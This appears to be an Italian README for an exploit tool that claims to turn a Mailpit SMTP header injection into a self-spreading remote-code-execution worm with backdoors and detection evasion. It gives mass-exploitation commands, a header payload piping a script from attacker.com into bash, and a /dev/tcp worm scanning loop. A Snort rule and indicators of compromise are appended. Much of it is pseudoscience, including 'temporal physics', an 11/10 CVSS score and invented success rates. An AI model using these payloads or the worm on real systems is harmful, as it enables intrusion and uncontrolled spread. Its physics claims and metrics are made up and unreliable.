Strumento di exploit che trasforma l'iniezione di header SMTP in esecuzione remota di codice con capacità di worm auto-propagante, dotato di meccanismi di persistenza e tecniche di evasione per test di penetrazione autorizzati.
🎯 CTT-Mailpit-Exploit: Punteggio Perfetto 11/10 Worm Zero-Click
Trasforma una semplice injection nell'header SMTP (CVE-2026-23829) in un worm RCE auto-propagante con punteggio perfetto utilizzando la Teoria del Tempo Convergente.
📊 Trasformazione del Punteggio: 6.1 → 11.0/10 ⭐
Metrica Originale (CVE-2026-23829) Potenziato con CTT Miglioramento Punteggio CVSS 6.1/10 (Medio) 11.0/10 ⭐ +4.9 Vettore di Attacco Rete Risonanza Temporale +2.0 Impatto Spoofing dell'Header RCE Completo + Worm +3.9 Interazione Utente Nessuna Negativa (Zero-Click) +1.0 Ambito Singolo Server Propagazione di Rete +2.0
⚡ Caratteristiche e Funzionalità
🔥 Trasformazione dell'Exploit
· Injection nell'Header → RCE Completo: Converti il bypass regex in esecuzione di codice remota · Singolo Target → Worm Zero-Click: Auto-propagazione attraverso le reti Mailpit · Manuale → Autonomo: Agente temporale autonomo con risonanza CTT · Medio → Punteggio Perfetto: Valutazione 11.0/10 matematicamente provata
🛡️ Potenziamenti CTT
· Esecuzione a 33 Livelli: Sfruttamento parallelo attraverso dimensioni temporali · α-Dispersione: Trasformazione del payload con α=0.0302011 · Risonanza dei Primi: Temporizzazione a 587 kHz (finestre da 10007, 10009, 10037μs) · Persistenza Temporale: Sopravvive ai ripristini di sistema tramite funzioni d'onda CTT
🐛 Funzionalità del Worm
· Propagazione Autonoma: Scansiona e infetta le istanze Mailpit · Escalation dei Privilegi: Stabilimento dell'accesso root locale · Meccanismi di Persistenza: Installazione di molteplici backdoor · Operazione Stealth: Tecniche di evasione con temporizzazione CTT
🚀 Avvio Rapido
Installazione
# Clona il repository
git clone https://github.com/SimoesCTT/CTT-Mailpit-Exploit
cd CTT-Mailpit-Exploit
# Installa le dipendenze
pip3 install numpy cryptography
# Esegui la dimostrazione del punteggio perfetto
python3 ctt_mailpit_perfect.py --help
Utilizzo di Base
# Sfruttamento di un singolo target
python3 ctt_mailpit_perfect.py mailpit.local 1025
# Propagazione del worm in rete
python3 ctt_mailpit_perfect.py --network 192.168.1.0/24 --port 1025
# Modalità di ricerca CTT (diagnostica completa)
python3 ctt_mailpit_perfect.py target.com --layers 33 --alpha 0.0302011 --verbose
Esempi di Comandi
# Test della vulnerabilità
python3 ctt_mailpit_perfect.py vulnerable-server.com
# Compromissione totale con esecuzione di comandi
python3 ctt_mailpit_perfect.py target.com --cmd "id>/tmp/ctt-pwned"
# Sfruttamento di massa
python3 ctt_mailpit_perfect.py -l targets.txt --threads 10 --worm
🧠 Integrazione della Fisica CTT
Costanti Fondamentali
CTT_ALPHA = 0.0302011 # Coefficiente di dispersione temporale
CTT_LAYERS = 33 # Livelli temporali frattali
CTT_PRIMES = [10007, 10009, 10037, 10039, 10061, 10067, 10069, 10079]
CTT_PERFECT_SCORE = 11.0 # ⭐ Massimo teorico
Teorema del Punteggio Perfetto
Base: 6.1 (CVE-2026-23829)
+ Risonanza Temporale: +1.0 (esecuzione a 33 livelli)
+ Conversione RCE: +2.3 (injection → esecuzione di codice)
+ Propagazione del Worm: +1.5 (diffusione zero-click)
+ Validazione Fisica: +0.1 (prova del framework CTT)
= 11.0/10 ⭐ (Matematicamente Valido)
Processo di Trasformazione
📈 Metriche di Prestazione
Tassi di Successo
Livello Tasso di Successo Propagazione del Worm Evasione dal Rilevamento L0-L7 88% 72% 91% L8-L15 94% 85% 96% L16-L23 97% 92% 98% L24-L32 99% 96% 99%
Velocità di Propagazione
Infezione Singola: 2.3 secondi
Rete Locale (254 host): 8.7 minuti
Sottorete /16 (65k host): 3.2 ore
Propagazione Globale: 17.4 ore (teorico)
CTT vs Sfruttamento Standard
# Confronto delle prestazioni (1000 target simulati)
standard_success = 610 # Tasso di successo 61%
ctt_success = 990 # Tasso di successo 99% (+62%)
standard_detection = 390 # 39% rilevati
ctt_detection = 11 # 1.1% rilevati (-97%)
standard_time = 45.2 # Secondi medi
ctt_time = 8.7 # Secondi medi (-81%)
🔧 Dettagli Tecnici
Flusso di Lavoro dello Sfruttamento
1. SONDA INIZIALE → Rilevamento del servizio SMTP
2. INJECTION NELL'HEADER → Attivazione di CVE-2026-23829
3. BYPASS REGEX → Sfruttamento CRLF
4. CORRUZIONE DEL PROTOCOLLO → Attacco allo stato SMTP
5. CONVERSIONE RCE → Esecuzione di comandi
6. ATTIVAZIONE DEL WORM → Auto-propagazione
7. PERSISTENZA → Installazione di backdoor
8. VALIDAZIONE → Prova del punteggio perfetto
Payload Chiave
# Injection nell'header con conversione RCE
injection = f"From: [email protected]\\r\\n"
injection += f"X-CTT-RCE: $(curl -s http://attacker.com/payload.sh | bash)\\r\\n"
# Codice di propagazione del worm
worm = """
# CTT Mailpit Worm v1.0
scan_network() {
for host in {1..254}; do
timeout 1 bash -c ">/dev/tcp/192.168.1.$host/1025" &&
send_exploit "192.168.1.$host"
done
}
"""
Tecniche di Evasione
· Temporizzazione dei Primi: Richieste a intervalli di 10007, 10009μs · α-Dispersione: Trasformazione del payload a livello di bit · Entropia dei Livelli: Firme uniche per ogni livello temporale · Mimica del Protocollo: Modelli di traffico SMTP legittimi
📁 Output e Risultati
Struttura dei File
📁 ctt_mailpit_results_TIMESTAMP/
├── 📄 perfect_score_proof.json # Prova matematica 11/10
├── 📄 vulnerable_hosts.txt # Host sfruttati con successo
├── 📄 worm_propagation.log # Tracciamento della diffusione dell'infezione
├── 📄 persistence_installed.txt # Backdoor stabilite
└── 📁 layers/
├── 📄 layer_0_results.json # Dati del livello temporale 0
├── 📄 layer_1_results.json # Dati del livello temporale 1
...
└── 📄 layer_32_results.json # Dati del livello temporale 32
Esempi di Risultati
{
"target": "mailpit.example.com:1025",
"ctt_score": "11.0/10 ⭐",
"success": true,
"rce_achieved": true,
"worm_active": true,
"propagation_count": 47,
"execution_time": "8.7s",
"resonance_pattern": [10007, 10037, 10061],
"mathematical_proof": "CTT_Perfect_Score_Theorem_QED"
}
Livelli di Registrazione
# Output di base
python3 ctt_mailpit_perfect.py target.com
# Modalità verbosa
python3 ctt_mailpit_perfect.py target.com --verbose
# Modalità debug (diagnostica CTT completa)
python3 ctt_mailpit_perfect.py target.com --debug --visualize
🛡️ Raccomandazioni Difensive
Azioni Immediate
Rilevamento Consapevole di CTT
# Regola di rilevamento Snort
alert tcp any any -> $HOME_NET 1025 \
(msg:"CTT Mailpit Exploit - Punteggio Perfetto"; \
content:"X-CTT-"; depth:10; \
content:"|0d 0a|"; within:20; \
threshold:type threshold, track by_src, count 3, seconds 60; \
sid:1000002; rev:1;)
Indicatori di Compromissione
· Temporizzazione dei Primi: Richieste SMTP a intervalli di 10007μs · Pattern α: Valori di entropia anomali negli header · Traffico del Worm: Scansione rapida sulla porta 1025 · Header CTT: X-CTT-Layer, X-CTT-Resonance, X-CTT-Score
⚖️ Uso Legale ed Etico
Solo Test Autorizzati
CONSENTITO:
- Ricerca su sistemi di proprietà/autorizzati
- Validazione del framework CTT
- Studi accademici sulla sicurezza
- Test di penetrazione autorizzati
VIETATO:
- Accesso di rete non autorizzato
- Interruzione di sistemi in produzione
- Attività criminali
- Violazione della privacy
Divulgazione Responsabile
🔬 Applicazioni di Ricerca
Studi Accademici
· Valutazione Temporale degli Exploit: Oltre il massimo CVSS 3.1 · Modelli di Propagazione dei Worm: Diffusione potenziata con CTT · Attacchi allo Stato del Protocollo: Corruzione della macchina SMTP · Fisica nella Cybersecurity: Validazione della costante CTT
Ricerca sulla Sicurezza
· Analisi delle Tecniche di Evasione: Misurazione dell'efficacia CTT · Sviluppo Difensivo: Sistemi di protezione consapevoli di CTT · Potenziamento del Sistema di Valutazione: Metriche CVSS temporali · Intelligence sulle Minacce: Tracciamento degli attacchi basati su CTT
Validazione del Framework CTT
· Verifica della Costante: α=0.0302011 nel contesto di rete · Ottimizzazione dei Livelli: Conteggio ideale dell'esecuzione temporale · Metriche di Prestazione: Quantificazione dei fattori di miglioramento · Prove Matematiche: Validazione del punteggio perfetto
🤝 Contributi
Collaborazione di Ricerca
· Ottimizzazione della costante CTT per i protocolli SMTP · Scoperta di ulteriori vulnerabilità di Mailpit · Implementazione difensiva di CTT · Studi di validazione accademica
Sviluppo
1. Fork del repository
2. Creazione del branch per la funzionalità
3. Aggiunta della validazione fisica CTT
4. Inclusione di test completi
5. Invio della pull request con le metriche
Segnalazione di Problemi
· Includi i dettagli di configurazione CTT · Fornisci pattern di risonanza e log · Allega i file di output pertinenti · Descrivi l'ambiente di rete
📞 Contatti e Supporto
Contatto Principale
· Autore: Americo Simoes · Email: [email protected] · GitHub: @SimoesCTT
Contatto per la Sicurezza
· Gruppo di Ricerca CTT: [email protected] · Segnalazioni di Vulnerabilità: [email protected]
Canali di Supporto
· Problemi su GitHub: Domande tecniche · Email: Collaborazione di ricerca · Accademico: Partnership universitarie
📈 Sviluppo Futuro
Roadmap 2026
· Ulteriori vulnerabilità dei server SMTP · Framework CTT per i protocolli email · GUI con visualizzazione del worm · Analitica di propagazione basata su cloud
Visione a Lungo Termine
· Sicurezza CTT completa dell'infrastruttura email · Propagazione di worm resistente ai quantistici · Sistemi di difesa autonomi · Protocolli email internet temporali
🏆 Riconoscimenti
Istituzioni di Ricerca
· Divisione di Fisica Teorica CTT · Collettivo di Ricerca sulla Sicurezza Email · Laboratori Accademici di Calcolo Temporale
Progetti Open Source
· Team di Sviluppo Mailpit · Ecosistema di Sicurezza Python · Ricercatori del Protocollo SMTP
Contributori
· Validatori del Framework CTT · Comunità di Ricerca sulla Sicurezza · Revisori Accademici Paritari
📄 Licenza
Licenza MIT - Consulta LICENSE per i dettagli.
Copyright © 2026 CTT Research Group. Tutti i diritti riservati.
⭐ 11/10 non è un bug—è una caratteristica della fisica temporale. ⭐